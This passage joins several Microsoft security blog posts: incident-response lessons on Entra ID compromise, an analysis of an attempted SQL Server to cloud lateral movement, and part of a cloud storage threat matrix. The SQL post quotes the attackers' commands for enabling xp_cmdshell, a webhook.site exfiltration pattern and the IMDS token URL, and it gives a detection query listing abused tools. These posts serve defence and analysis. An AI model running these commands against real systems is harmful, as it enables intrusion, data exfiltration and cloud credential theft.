• Intune Administrator – can manage all aspects of Intune, including deploying software and remote wiping devices

These roles, along with others, are now flagged as privileged in the Microsoft Learn documentation, allowing organizations to focus on securing users that hold those roles. In many of our engagements, Global Administrators are not directly compromised. A user holding another privileged role is often initially targeted, and from there, the threat actor could escalate up to Global Administrator. In one instance, a service desk staff member who held the Privileged Authentication Administrator role was socially engineered into updating the MFA details for a Global Administrator. Once this had occurred, the threat actor completed self-service password reset for the Global Administrator account and then took control of the tenant.

Recommendations

• Microsoft IR recommends that organizations audit current role assignments to ensure privileged users are granted only the access required– enforcing least privilege to organizational resources. Roles that Microsoft considers privileged are now highlighted in the documentation, and in the Microsoft Entra portal itself – highlighting the importance of managing users in these roles.
• Ensure that all roles that could lead to tenant-level compromise are protected, not just Global Administrator. Changes to these roles should generate a high-priority alert to be investigated to confirm the activities are not malicious.
• AzureHound, the cloud sibling of BloodHound, can be used to visually map attack paths through Microsoft Entra ID. It is recommended that sanctioned audits using this tool are run and attack paths are removed or mitigated.
• Microsoft Entra PIM can provide further protection to these roles by ensuring users have just-in-time access to their roles and requesting that access is governed by additional workflows.

Excessive privilege granted to workload identities

A workload identity is a non-human identity created and assigned to a workload (such as a script, application, or other services) to allow them to authenticate and access other resources. For example, you may create a workload identity to provide custom integration between Microsoft Teams and Exchange Online. In Microsoft Entra ID, these are known as applications and service principals. Like users, these applications and service principals can be assigned to roles, such as Global Administrator, or provided specific access to API endpoints. Credentials like secrets or certificates are generated for the workload identity, and then used to authenticate.

Like service accounts in on-premises Active Directory, these workload identities are often granted much higher privileges than required, for example:

• Directory.ReadWrite.All – Allows the app to read and write data in your organization’s directory, such as users, and groups
• User.ReadWrite.All – Allows the app to read and write the full set of profile properties, reports, and managers of other users in your organization, on behalf of the signed-in user
• Mail.ReadWrite – Allows the app to create, read, update, and delete mail in all mailboxes without a signed-in user

Even though the applications ask for and are subsequently granted access to these broad privileges, usually the applications require much less access to function correctly. For instance, they may need access to a specific mailbox, not all mailboxes. Microsoft has published specific guidance to understand appropriate permission scoping in Microsoft Entra ID.

These service principals and applications are often not secured to the same level as standard user accounts. Part of that is the nature of how they work: it is not possible to configure MFA for these applications, as they are non-human identities. Additionally, where a user may notice strange behavior on their account and provide feedback to security teams, there is no equivalent feedback for applications. Often, malicious activity from workload identities goes unnoticed because detection logic is focused on user identities.

Recommendations

• Applications and service principals should be granted access using the least-privilege principle. Often internal development teams or external third-party vendors request privileges over and above what are required because they make it easier for the service to work. However, this presents a significant risk and should be avoided.
• Microsoft recommends the use of strong credentials, such as certificates, for applications, instead of client secrets. Microsoft IR often finds client secrets held in clear text in emails or saved in easy to find locations. If the application is interacting with Microsoft Azure or other Microsoft services, then the use of Entra ID Managed Identities is recommended. Managed Identities eliminate the need for organizations to manage the credentials for these workloads.
• If providing access to the Microsoft Graph, exceptionally granular permissions are available for the various endpoints. Security teams should challenge requests for high privileges across Microsoft Graph. The permissions reference page lists the name of the permission and what access is provided if that permission is granted.
• For security teams and administrators that are familiar with Active Directory and less so with Microsoft Entra ID, it’s worth understanding how the permissions structure in Microsoft Entra ID and Microsoft Graph works. That way you are better informed to challenge requests for excessive privilege.
• Conditional Access for workload identities is available as a feature in Microsoft Entra Workload ID. As previously mentioned, due to the nature of these identities, MFA and similar controls cannot be enforced. With Conditional Access, however, you can allow access from specific IP locations or block access based on elevated risk patterns detected by Microsoft.
• Alerts should be configured to detect new credentials, additional privileges being added to existing applications, and anomalous sign-in activity. Much like users, service principals generate log in data and detections for new IP addresses or locations should be created. Threat actors have been known to compromise accounts with access to generate new credentials on pre-existing applications with high privilege, thereby allowing tenant takeover.

Poor device access control

In many engagements, Microsoft IR has detected threat actors registering their own devices to the Microsoft Entra tenant, giving them a platform to escalate the cyberattack. While simply joining a device to a Microsoft Entra tenant may present limited immediate risk, it could allow a threat actor to establish a foothold in the environment. Conditional Access or Microsoft Intune policy misconfiguration may allow this threat actor-controlled device to be marked as compliant. The threat actor could then access additional and potentially sensitive company resources. From there, they might be able to locate additional credentials or compromise further users to escalate privilege within the environment.

Microsoft IR was recently engaged with an organization that allowed users to join their own devices to Microsoft Entra ID. Threat actors compromised a regular user account via phishing and then used the compromised credentials to join their own device to the tenant. The actors then leveraged a misconfiguration in Intune to allow that device to be marked as compliant. From there, the threat actor was able to satisfy Conditional Access and access Microsoft 365, where they located the credentials of a privileged account sent via email.

Recommendations

• If you allow end users to register or join their own devices to your Microsoft Entra tenant, then Microsoft IR recommends you control the ability to complete those actions via Conditional Access.
• Using Conditional Access, you can add additional security to your tenant by creating policies to require MFA when joining or registering a device. Depending on the requirements of your business, you could enforce the MFA requirement to particular users, or locations such as untrusted locations. Microsoft IR recommends, however, requiring MFA for all device join events where possible.

• Auditing and alerting should be configured for device joining events to detect anomalous behavior such as users registering multiple devices, suspicious device names, or unusual times. Users themselves can be sent notifications via Intune each time a device is enrolled via their account; if they didn’t initiate the action, they can report it as suspicious.
• Hold members of the Intune Administrator role to the same security standard as more well known privileged roles, such as Global Administrator

Poor application access control

When analyzing customer tenants, Microsoft IR often finds that their lines of business applications do not have sufficient access controls applied to them. Applications such as IT service management and ticketing systems, code repos, HR systems, and more are available to any user, including guest accounts. Microsoft IR was recently engaged with an organization where the threat actor compromised a user by phishing. Once the actor had control over the account, they accessed the MyApps portal and began systematically accessing all the applications listed there. Eventually, they signed into the IT system used for onboarding and offboarding accounts and requested a new privileged account, despite having no reason to have access to that system. A new account was provisioned, giving the actor a privileged account under their control.

Microsoft IR often detects threat actors browsing the https://myapps.microsoft.com portal and trying to access all the applications visible there. Often the compromised user account has no business justification to access these applications, but access is granted to groups containing all user accounts or have no access control at all. These applications may have confidential data, contain unsecured credentials, or could allow threat actors to gain insights into business processes to facilitate social engineering.

Recommendations

Access to all business applications should be restricted to only those that require it. Microsoft Entra ID provides the capability to both restrict access to applications, and to hide the visibility of applications in the MyApps portal. Access to applications should always be governed by a security group, so that users are granted only the access required to work. To ensure that users can still access applications they require, self-service capability for requesting access is available in Microsoft Entra ID. Requests for access can be delegated to application owners, so that IT teams don’t need to fulfill every request.

Access reviews and entitlement management capabilities in Entra ID can help organizations management the on going governance of access and entitlement lifecycle at scale. These tools work together to allow users to gain access to the applications and data they need easily and give security teams the tools to ensure access is granted on as needed basis.

Misconfigured delegated administrative privileges (DAP) permissions

The DAP permissions model was created to allow Cloud Solution Providers (CSP) to provide services and licensing support to customers. A CSP could send an invitation to a customer to request a partner relationship. Prior to an update to the permissions model, upon accepting one of these invitations, the CSP would gain Global Administrator rights in the customer tenant.

In addition, customers themselves could not manage which users held privilege in their tenant. Membership in ‘AdminAgents’ group in the CSP tenant would provide downstream privilege to any customer tenants configured. These permissions are often a relic of previous partners or historical licensing agreements and the CSP may no longer be actively engaged with the customer.

CSP tenants have become an attractive threat actor target, as compromise of a single tenant can provide administrative access to any number of downstream tenants. Microsoft IR has been engaged in several incidents with organizations that have lost control of their tenant via a delegated administrative privilege configuration they were unaware existed. The threat actor compromised an account located in the AdminAgents group in the partner tenant via phishing. They then used the downstream privilege to create a Global Administrator account in our customer’s tenant and take control. Both the partner and the customer were unaware this relationship existed.

Recommendations

• Review the list of delegated administrative privileges in your tenant to understand if any such partnerships exist. If any are configured, assess if your business still requires your partner to retain privilege in your tenant.
• If they do require privilege, Microsoft recommends migrating to granular delegated admin privileges (GDAP). This updated permission model better aligns with Zero Trust principle of least privilege access and hands more control back into the hands of the customers themselves.
• Depending on the nature of the partner relationship, it may be possible to remove the delegated partner configuration entirely, and instead on-board accounts native to your tenant and securely provide the credentials to any resource that requires access to your tenant.

Misconfigured Conditional Access policy

It is common for Microsoft IR to find gaps in Conditional Access policies, particularly policies covering the most privileged accounts. It’s important to understand that threat actors can enumerate Conditional Access policies using a regular user account. By enumerating Conditional Access policies, threat actors can find those gaps and attempt to move laterally through them. For example, if MFA is excluded for users in a particular group or from specific locations, then a threat actor will attempt to add themselves to that group or compromise an account already excluded.

Furthermore, corporate networks are often excluded from MFA entirely and considered ‘trusted’ locations. This configuration and mindset are representative of the way of work from years ago, where being on the corporate network granted users and devices implicit trust. If a threat actor can find a way onto that network by compromising a device already connected to the network or gaining access via VPN, then at that point, they are considered ‘trusted’ and are unlikely to be further prompted for strong authentication.

Additionally, Microsoft IR regularly sees organizations that have configured their Conditional Access policies in a way that is overly complicated. While these policies are often created with the right intentions, as the policies add up, it becomes hard to tell which are enforced. The combination of these policies can give users a poor experience. This can make them susceptible to cyberattacks like MFA fatigue/spam. If users are being prompted dozens of times a day for MFA or being signed out of their session every few hours, they are going to pay less attention to a prompt for their credentials or an MFA prompt on their phone. As a result, when a threat actor-generated MFA prompt is sent to them, they might be less likely to consider it suspicious and report it as fraudulent.

Recommendations

• There are often legitimate business reasons why exclusions to Conditional Access need to apply; however, it is key that your privileged and Tier 0 accounts continue to be secured correctly.
• Alerts should be configured for any changes, additions, or deletions to Conditional Access. This will help detect both accidental and malicious changes to your policies.
• Any groups that are configured as exclusion groups for policies should be monitored for changes. Privileged users can be excluded from key policies by being placed into a group that then excludes them from policies. Microsoft Entra ID Access Reviews can be used to ensure continued governance of the members of these groups.
• Microsoft IR recommends enforcing strong authentication for users regardless of location, even if connecting via a corporate network, starting with your most privileged accounts. This is a key component of Zero Trust security principles, where we verify users and devices explicitly, regardless of location.
• It is worth periodically reviewing Conditional Access policies to ensure they are enforcing the expected controls. To help with this, you can simulate sign-in events with the ‘What If’ tool. Often multiple policies can be rolled into one. This provides better and more consistent user experience, and even just simplifying policy design can lead to improved security. There is also built in insights and reporting into Conditional Access, to help both identity and address gaps in policy.

It’s important to note that Zero Trust does not mean users should be prompted for MFA each time they access a resource. Modern strong authentication methods such as Windows Hello for Business provide the best combination of security and useability.

OAuth and consent phishing

Consent phishing expands on traditional phishing by tricking users into installing malicious OAuth applications rather than tricking them into providing their credentials. With consent phishing, users are tricked into providing threat actors with direct access to their personal or organizational data. The user may be presented with a link in an email that when clicked requests that the user consent to an application. The consent page will show the permissions requested by the application, and if the user has the right to consent, the application, and in turn the threat actor, is granted access to the data. These applications may be named in a way that appears that they are legitimate to users.

These kinds of cyberattacks are of particular concern if administrative accounts are targeted. If a privileged user is targeted by consent phishing, they may have the ability to consent to organization-wide permissions, granting the threat actor broad access into your tenant.

When standard users are targeted by consent phishing, the permissions requested can be considered low impact, but this type of cyberattack can provide a means for a threat actor to harvest information and data that can lead to higher impact. For example, if a user clicks and consents to a malicious application that provides access to only their email and OneDrive, that may be considered a minor incident. With that access though, the threat actor could enumerate all the corporate data that the user can access. That user may have access to sensitive credentials, personally identifiable information, or market sensitive information, which the threat actor can locate.

Microsoft, often with the help of security researchers and the security community, disables known malicious OAuth applications. At the same time, it’s important to protect yourself from these kinds of cyberattacks.

Recommendations

• Microsoft Entra ID provides strong and granular controls to protect your organization from consent phishing and other malicious application consent. These settings are configured in the Microsoft Entra portal. Microsoft IR recommends that the first or second option be selected. If your organization has the capability to respond effectively to all requests for application consent, then the first option, ‘Do not allow user consent’, is the most secure.

• Many organizations do not have the resources available to manage every request; in these cases, the second option provides the best mix of security and user experience. Staff can consent to applications that are from verified publishers or those considered to have a low impact in terms of permissions requested.
• Microsoft Defender for Cloud Apps can be utilized to investigate and remediate risky OAuth apps.
• As previously mentioned, privileged users should not have mailboxes assigned to them. This reduces the attack vector of traditional and consent phishing being targeted towards them.

Self-service password reset & MFA social engineering

Microsoft IR has seen cases of threat actors leveraging social engineering techniques to have service desk or similar staff update the self-service password reset (SSPR) and MFA details for users.

Microsoft IR commonly sees service desk staff being targeted via social engineering tactics. Often, a threat actor impersonates a user by creating an outlook.com or gmail.com mailbox with the same name as the legitimate user. They then send an email to the service desk and say that they have a new email address or phone number and ask the service desk to update their MFA details. Once this is completed, the threat actor could initiate self-service password reset and take over control of the account. With this initial foothold to the environment, they could pivot into Microsoft 365 and attempt to escalate privilege. Microsoft IR has seen these attempts target Global Administrator accounts directly as well as regular users.

Certain threat actors may even call the service desk and impersonate the user, taking information from sites such as LinkedIn, other information acquired from open-source intelligence (OSINT), or personal data lost in other breaches to successfully pass any identity validation required. The service desk then resets the password on the user account, or updates an MFA method, granting access to the attacker.

On top of being an initial access vector, this can also be a persistence mechanism deployed by threat actors to regain control over an already compromised account. If a user is detected as compromised and their credentials reset, the threat actor can again complete the SSPR workflow to regain access to that account.

Recommendations

• While SSPR is the preferred method of credential reset and is more secure than other methods, such as emailing credentials in clear text, it could still be susceptible to social engineering. Business processes should attempt to reduce the risk of these attempts succeeding. Importantly, empower your service desk staff to say no, or require additional validation, when something seems suspicious.
• Requests for updates to SSPR and MFA details should be validated to confirm they are legitimate, such as by challenging the user via the phone or having them confirm other details a threat actor would not have (e.g., employee ID numbers). Additionally, visual confirmation, via video calling, that the user is who they say they are can be a strong control.
• MFA registration can be further secured through the use of Temporary Access Passes (TAP). A TAP is a time-limited passcode that can be generated for users. More mature organizations have begun using these to protect the MFA registration process. A user will call the helpdesk and verify their identity. They are then granted a TAP which allows them access to the MFA registration portal for a short period of time, allowing them to then register their own MFA device.
• Ensure that IT admin staff that have the privilege to update passwords or MFA details for other privileged users are held to high security standards, such as phishing resistant MFA.
• Detections should be created for potential social engineering attempts for SSPR and MFA. These could include detections such as an update to SSPR details followed by risky sign-ins. A threat actor that takes control over an account will likely then attempt to sign into it, and if it is from a different location or has other unfamiliar features, it may trigger additional risk.

Recommended focus areas to prevent identity compromise

In real-world engagements, Microsoft IR sees combinations of the above issues and misconfigurations that could lead to total Microsoft Entra ID compromise. Depending on the motivation of the threat actor, this could further lead to additional malicious attacks, or even tenant destruction.

In the above cyberattack chain, a regular user was compromised through phishing. Through additional weak controls, poor credential hygiene, and lack of additional security over Tier 0, the entire tenant was compromised.

Compared to Active Directory, cyberattacks on Microsoft Entra ID are relatively new, and additional new attacks are constantly emerging. Microsoft IR recommends focusing on controls that will prevent your most privileged accounts being compromised. Focusing on protecting and hardening identities with the highest privilege makes the biggest impact in preventing identity compromise.

• Reduce privilege – All user and non-human identities should be assigned access according to the principle of least privilege. This will help prevent single user compromise leading to tenant-level compromise.
• Protect Tier 0 – All Global Administrator accounts, equivalent service principals, and accounts with additional paths to Tier 0 should be held to stricter security controls, including phishing-resistant MFA.
• Use cloud-only administrative accounts – All accounts that have privilege in Microsoft Entra ID should be cloud-native and not synced from Active Directory.
• Protect hybrid identity – In instances of complex hybrid identity, ensure that all interconnected systems such as AD FS or third-party MFA are configured and monitored properly.
• Accelerate your passwordless journey to reduce the risk of credential theft by phishing and other password-based attacks.

Much like on-premises Active Directory, protecting Microsoft Entra ID requires continued governance and monitoring. By reducing risk and controlling our most privileged accounts, you have the best chance of preventing or detecting attempts at tenant-wide compromise.

Matthew Zorich (@reprise_99 on X), Microsoft Incident Response

Listen to Matt discuss the importance of knowledge sharing and practical experimentation in incident response in the Microsoft Threat Intelligence Podcast episode, Incident Response with Empathy.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on X (formerly Twitter) at https://twitter.com/MsftSecIntel.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast: https://thecyberwire.com/podcasts/microsoft-threat-intelligence.

The post Microsoft Incident Response lessons on preventing cloud identity compromise appeared first on Microsoft Security Blog.

The attack flow we observed initiated multiple Microsoft Defender for SQL alerts that allowed us to identify and analyse the cloud lateral movement technique. The alerts also allowed us to quickly deploy additional protections despite not having visibility of the application that was targeted with the SQL injection vulnerability to access the SQL Server. While our analysis of this attack did not yield any indication that the attackers successfully moved laterally to the cloud resources, we assess that it is important for defenders to be aware of this technique used in SQL Server instances, and what steps to take to mitigate potential attacks.

In this blog post, we elaborate on the attack flow and focus on the main technique that we observed: SQL Server to cloud lateral movement. We will also show how Microsoft Defender for SQL can detect activities related to this type of threat and help responders mitigate such attacks.

Cloud-based lateral movement

As more organizations move to the cloud, we see new types of cloud-based attack techniques that are fundamentally different than the ones that are known from on-premises environments. An example of this is how attackers are finding new vectors to perform lateral movement from certain on-premises environments into cloud resources.

In cloud environments, one of the methods to perform lateral movement is by abusing cloud identities that are bound to the cloud resource. Cloud services like Azure use managed identities for allocating identities to the various cloud resources. Those identities are used for authentication with other cloud resources and services. While managed identities offer advantages in terms of convenience, security, and efficiency, they also come with certain risks that introduce a potential attack vector.

For example, if attackers compromised a VM, they could acquire a token for its attached identity by querying the instance metadata service (IMDS) endpoint. With the managed identity access token, the attackers could perform various malicious operations on the cloud resources that the identity has access to. In the attack we observed, the attackers attempted to perform identity-based lateral movement in an environment where we haven’t seen this technique used before: SQL Server instances.

Known technique, new environment: from SQL Server to cloud

While the attempt to move laterally from the SQL Server instance can be considered new, the attack involved activities common to SQL Server attacks. For example, the initial access vector was a successful SQL injection attack that allowed the attackers to run queries on the SQL Server. The attackers launched numerous SQL statements to gather data about the host, databases, and network configuration. The information that the attackers collected included:

• Databases
• Table names and schema
• Database version
• Network configuration
• Read\write\delete permissions

We assess that it is likely that the application targeted with the SQL injection vulnerability had elevated permissions, thus granting the attackers a similar level of access. The attackers used this elevated permission to turn on the xp_cmdshell command, a method to launch operating system (OS) commands through a SQL query. Since xp_cmdshell is turned off by default to prevent exploitation, the attackers used the permissions they acquired to change the SQL configuration and ran the following commands to turn on xp_cmdshell:

1. “EXEC master..sp_configure ‘SHOW advanced options’,1; “RECONFIGURE WITH OVERRIDE;”
2. “EXEC master..sp_configure ‘xp_cmdshell’, 1; RECONFIGURE WITH OVERRIDE;”
3. “EXEC master..sp_configure ‘SHOW advanced options’,0; RECONFIGURE WITH OVERRIDE;”

After enabling xp_cmdshell, the attackers manually initiated a series of operating system commands to launch the next phases of the attack. By using xp_cmdshell, the attackers were able to operate as if they had a shell on the host.

To collect data, the attackers used simple methods such as reading directories, listing processes, and checking network shares. The attackers downloaded several executables and PowerShell scripts that are encoded and compressed. Most of the attacker’s actions from this point were through PowerShell commands, scripts, and modules.

For persistence, the attackers used a scheduled task to launch a backdoor script. In addition, the attackers tried to get credentials by dumping SAM and SECURITY registry keys.

The attackers used a unique method for data exfiltration: they utilized a publicly accessible service called “webhook.site”. This service functions as a free platform for inspecting, debugging, and receiving incoming HTTP requests and emails. Any request directed to this address is promptly logged. The commands are in this pattern: Command | Out-String ;Invoke-WebRequest -Uri https[:]//webhook.site/G-UID. Utilizing this method for data exfiltration allowed the attackers to operate discreetly when transmitting outgoing traffic, as the selected service can be considered as legitimate.

While looking at the technique used by the attackers to perform lateral movement, we encountered a familiar method implemented in a distinct environment: the attackers tried utilizing the cloud identity of the SQL Server instance by accessing the IMDS and obtaining the cloud identity access key. The IMDS is a RESTful web service that runs on a local IP address (169.254.169[.]254) and provides information about the VM, such as the VM’s region, tags, and the identity token. The identity token is a JSON Web Token (JWT) that contains the claims and the signature of the identity.

The request to IMDS identity’s endpoint returns the security credentials (identity token) for the cloud identity. For example, in Azure this request would look like: hxxp://169.254.169[.]254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/

With the identity token, the attackers can perform various operations on cloud resources that the cloud identity has access to. They can perform lateral movement across the cloud environment, thus getting access to external services. While the attackers in this case were unsuccessful in attempts to take advantage of this technique due to an error, we strongly recommend defenders to apply the best practices we provide in this blog post to protect environments against attacks that may use the same technique.

Conclusion

To summarize, this attack demonstrates the attempt to leverage cloud identities in a SQL Server instance for lateral movement. This is a technique we are familiar with in other cloud services such as VMs and Kubernetes cluster but haven’t seen before in SQL Server instances. We have observed numerous attacks attempting to leverage cloud identities in Kubernetes and are aware of the potential risks and impact that can result from unauthorized access to their identity tokens. Similarly, in SQL Server, cloud identities are also commonly employed and might possess elevated permissions to carry out actions in the cloud. Not properly securing cloud identities can expose SQL Server instances and cloud resources to similar risks. This method provides an opportunity for the attackers to achieve greater impact not only on the SQL Server instances but also on the associated cloud resources.

With the increasing adoption of cloud technology, attackers and threat actors are utilizing known attack techniques in new environments and are becoming more sophisticated. This evolving landscape of cloud-based attack techniques, with lateral movement being one of them, emphasizes the need for organizations to ensure strong defenses and safeguarding of critical assets in the cloud.

This attack also highlights the importance of least privilege practices when designing and deploying cloud-based and on-premises solutions. Attackers are often able to conduct further malicious activities through abusing over-privileged processes, accounts, managed identities, and database connections. In this case, organizations are recommended to ensure that all applications are updated and secured and are given only the necessary permissions and privileges, to avoid putting connected SQL Server instances, as well as other cloud resources, at risk.

Detection

Microsoft Defender for Cloud

The Microsoft Defender for Cloud helps to discover and mitigate potential database vulnerabilities and detects anomalous activities that may be an indication of a threat to SQL databases, SQL Servers on machines, open-source databases, and Azure Cosmos DB through Microsoft Defender for SQL.

The following Defender for SQL alerts might indicate threat activity like the threat described in this blog post:

• Potential SQL injection
• A possible vulnerability to SQL Injection
• SQL Server potentially spawned a Windows command shell and accessed an abnormal external source

As a cloud-based next-generation database protection solution, Defender for SQL is continuously updated with new detection capabilities and can now detect IMDS calls from SQL Server instances, the technique described in this article.

Microsoft Defender for Cloud also features Microsoft Defender for Resource Manager that analyzes Azure control plane operations to find abnormal behavior of cloud identities. This coverage can help find lateral movement activities in your cloud environment.

Microsoft Defender for Endpoint

The following Microsoft Defender for Endpoint alerts might indicate threat activity related to this threat, specifically the use of the xp_cmdshell command. Note, however, that these alerts can also be triggered by unrelated threat activity.

• SQL Server login using xp_cmdshell
• Suspicious SQLCMD activity

Mitigation

The vulnerability assessment solution in Defender for SQL can also detect vulnerabilities and misconfigurations in the database. Mitigating and responding to vulnerabilities reduces the attack surface of the SQL Server and can prevent potential attacks. One of the SQL vulnerability assessment rules involves the enablement of xp_cmdshell, providing a means to identify database instances where this setting is enabled.

With this coverage of the wide aspects of lateral movement in the cloud, and the correlations between them, organizations can strengthen their defenses and safeguard their critical assets from the risk of lateral movement. We also recommend following security best practices for managed identities to prevent lateral movement in the cloud. By implementing those security measures and adhering to the least privilege principle when granting permissions to managed identities, organizations can reduce the attack surface of those identities.

Hunting queries

Microsoft 365 Defender

Microsoft 365 Defender is becoming Microsoft Defender XDR. Learn more.

Microsoft 365 Defender customers can run the following query to find related activity in their networks:

SQL Server abuse

SQL Server offers a vast array of tools for automating tasks, exporting data, and running scripts. These legitimate tools can be repurposed by attackers. Because there are so many powerful commands an attacker might exploit, hunting for malicious activity involving SQL Server can be complicated.

This query detects instances of a SQL Server process launching a shell to run one or more suspicious commands.

let relevantCmdlineTokens = pack_array
("advpack.dll","appvlp.exe","atbroker.exe","bash.exe","bginfo.exe","bitsadmin.exe","cdb.exe","certutil.exe","cl_invocation.ps1","cl_mutexverifiers.ps1","cmstp.exe","Copy-Item","csi.exe","diskshadow.exe","dnscmd.exe","dnx.exe","dxcap.exe","esentutl.exe","expand.exe","extexport.exe","extrac32.exe","findstr.exe","forfiles.exe","ftp.exe","gpscript.exe","hh.exe","ie4uinit.exe","ieadvpack.dll","ieaframe.dll","ieexec.exe","infdefaultinstall.exe", "installutil.exe","Invoke-WebRequest","makecab.exe","manage-bde.wsf","mavinject.exe","mftrace.exe","microsoft.workflow.compiler.exe","mmc.exe","msbuild.exe","msconfig.exe","msdeploy.exe","msdt.exe","mshta.exe","mshtml.dll","msiexec.exe","msxsl.exe","netstat","odbcconf.exe","pcalua.exe","pcwrun.exe","pcwutl.dll","pester.bat","ping","presentationhost.exe","pubprn.vbs","rcsi.exe","regasm.exe","register-cimprovider.exe","regsvcs.exe","regsvr32.exe","replace.exe","rundll32.exe","runonce.exe","runscripthelper.exe","schtasks.exe","scriptrunner.exe","setupapi.dll","shdocvw.dll","shell32.dll","slmgr.vbs","sqltoolsps.exe","syncappvpublishingserver.exe","syncappvpublishingserver.vbs","sysinfo","syssetup.dll","systeminfo","taskkill","te.exe","tracker.exe","url.dll","verclsid.exe","vsjitdebugger.exe","wab.exe","WebClient","wget","whoami","winrm.vbs","wmic.exe","xwizard.exe","zipfldr.dll","certutil");
DeviceProcessEvents 
| where Timestamp >= ago(10d)
| where InitiatingProcessFileName in~ ("sqlservr.exe", "sqlagent.exe", "sqlps.exe", "launchpad.exe")
| summarize DistinctProcessCommandLines = tostring(makeset(ProcessCommandLine)) by DeviceId, bin(Timestamp, 2m)  
| where DistinctProcessCommandLines has_any(relevantCmdlineTokens) 

Microsoft Sentinel

Microsoft Sentinel customers can deploy the Azure SQL solution that allows security analysts and administrators to rapidly deploy a range of detection and hunting queries to their Microsoft Sentinel environment. For instance, the solution’s analytical rules assist in pinpointing unique SQL queries that attempt or succeed in executing commands – such as attempts to execute shell commands, suggestive of potential security risks. Additionally, the hunting queries will highlight instances where potentially risky stored procedures like xp_cmdshell are called upon.

Microsoft Sentinel has a range of detection and threat hunting content that customers can use to detect the activity detailed in this blog:

• Attempts to execute shell command
• Suspicious stored procedures like xp_cmdshell

If the Azure SQL Solution is not currently deployed, Microsoft Sentinel customers can install the solution from the Content Hub to have the rules deployed in their Sentinel workspace. More details on the Content Hub can be found here:  https://learn.microsoft.com/azure/sentinel/sentinel-solutions-deploy.

Sunders Bruskin, Hagai Ran Kestenberg, Fady Nasereldeen, Cloud researchers in Microsoft Threat Intelligence team

Further reading

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on Twitter at https://twitter.com/MsftSecIntel.

The post Defending new vectors: Threat actors attempt SQL Server to cloud lateral movement appeared first on Microsoft Security Blog.

Cybercriminals target cloud storage accounts and services for numerous purposes, such as accessing and exfiltrating sensitive data, gaining network footholds for lateral movement, enabling access to additional resources, and deploying malware or engaging in extortion schemes. To combat such threats, the updated threat matrix provides better coverage of the attack surface by detailing several new initial access techniques. The matrix further provides visibility into the threat landscape by detailing several novel attacks unique to cloud environments, including some not yet observed in real attacks. The new version of the matrix is available at: https://aka.ms/StorageServicesThreatMatrix

 Of the new techniques detailed in this blog, several noteworthy examples include:

• Object replication – Allows attackers to maliciously misuse the object replication feature in both directions by either using outbound replication to exfiltrate data from a target storage account or using inbound replication to deliver malware to the target account.
• Operations across geo replicas – Helps attackers evade defenses by distributing operations across geographical copies of storage accounts. Security solutions may only have visibility into parts of the attack and may not detect enough activity in a single region to trigger an alert.
• Static website – Allows attackers to exfiltrate data using the “static website” feature, a feature provided by major storage cloud providers that can often be overlooked by less experienced users.

In this blog post, we’ll introduce new attack techniques that have emerged since our last analysis and cover the various stages of a potential attack on cloud storage accounts.

New techniques in the matrix

1. Reconnaissance

Reconnaissance consists of techniques that involve attackers actively or passively gathering information that can be used to support targeting.

DNS/Passive DNS – Attackers may search for DNS data for valid storage account names that can become potential targets. Threat actors can query nameservers using brute-force techniques to enumerate existing storage accounts in the wild, or search through centralized repositories of logged DNS query responses (known as passive DNS).

Victim-owned websites – Attackers may look for storage accounts of a victim enterprise by searching its websites. Victim-owned website pages may be stored on a storage account or contain links to retrieve data stored in a storage account. The links contain the URL of the storage and provide an entry point into the account.

2. Initial access

Initial access consists of techniques that use various entry vectors to gain their initial foothold on a storage account. Once achieved, initial access may allow for continued access, data exfiltration, or lateral movement through a malicious payload that is distributed to other resources.

SFTP credentials – Attackers may obtain and abuse credentials of an SFTP (Secure File Transfer Protocol) account as a means of gaining initial access. SFTP is a prevalent file transfer protocol between a client and a remote service. Once the user connects to the cloud storage service, the user can upload and download blobs and perform other operations that are supported by the protocol. SFTP connections require SFTP accounts, which are managed locally in the storage service instance, including credentials in the form of passwords or key-pairs.

NFS access – Attackers may perform initial access to a storage account using the NFS protocol where enabled. While access is restricted to a list of allowed virtual networks that are configured on the storage account firewall, connection via NFS protocol does not require authentication and can be performed by any source on the specified networks.

SMB access – Attackers may perform initial access to a storage account file shares using the Server Message Block (SMB) protocol.

Object replication – Attackers may set a replication policy between source and destination containers that asynchronously copies objects from source to destination. This feature can be maliciously misused in both directions. Outbound replication can serve as an exfiltration channel of customer data from the victim’s container to the adversary’s container. Inbound replication can be used to deliver malware from an adversary’s container to a victim’s container. After the policy is set, the attacker can operate on their container without accessing the victim container.

3. Persistence

Persistence consists of techniques that attackers use to keep access to the storage account due to changed credentials and other interruptions that could cut off their access. Techniques used for persistence include any access, action, or configuration changes that let them maintain their foothold on systems.

Create SAS Token – Attackers may create a high-privileged SAS token with long expiry to preserve valid credentials for a long period. The tokens are not monitored by storage accounts, thus they cannot be revoked (except Service SAS) and it’s not easy to determine whether there are valid tokens in the wild until they are used.

Container access level property – Attackers may adjust the container access level property at the granularity of a blob or container to permit anonymous read access to data in the storage account. This configuration secures a channel to exfiltrate data even if the initial access technique is no longer valid.

SFTP account – Attackers may create an SFTP account to maintain access to a target storage account. The SFTP account is local on the storage instance and is not subject to Azure RBAC permissions. The account is also unaffected in case of storage account access keys rotation.

Trusted Azure services – Attackers may configure the storage account firewall to allow access by trusted Azure services. Azure Storage provides a predefined list of trusted services. Any resource from that list that belongs to the same subscription as the storage account is allowed by the firewall even if there is no firewall rule that explicitly permits the source address of the resource.

Trusted access based on a managed identity – Attackers may configure the storage account firewall to allow access by specific resource instances based on their system-assigned managed identity, regardless of their source address. The resource type can be chosen from a predefined list provided by Azure Storage, and the resource instance must be in the same tenant as the storage account. The RBAC permissions of the resource instance determine the types of operations that a resource instance can perform on storage account data.

Private endpoint – Attackers may set private endpoints for a storage account to establish a separate communication channel from a target virtual network. The new endpoint is assigned with a private IP address within the virtual network’s address range. All the requests sent to the private endpoint bypass the storage account firewall by design.

4. Defense evasion

The defense evasion tactic consists of techniques that are used by attackers to avoid detection and hide their malicious activity.

Disable audit logs – Attackers may disable storage account audit logs to prevent event tracking and avoid detection. Audit logs provide a detailed record of operations performed on a target storage account and may be used to detect malicious activities. Thus, disabling these logs can leave a resource vulnerable to attacks without being detected.

